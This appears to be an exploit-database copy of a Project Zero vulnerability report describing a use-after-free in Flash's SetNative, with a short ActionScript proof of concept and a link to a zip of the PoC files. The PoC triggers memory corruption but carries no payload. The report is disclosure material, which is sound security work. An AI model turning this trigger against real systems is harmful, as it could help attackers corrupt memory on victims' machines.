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563 B
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20 lines
No EOL
563 B
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800
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There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
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var t = this.createEmptyMovieClip("t", 1);
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t.watch("a", func);
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ASSetNative(t, 106, "a,b");
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function func (){
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t.removeMovieClip();
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}
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A swf and fla are attached.
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39831.zip |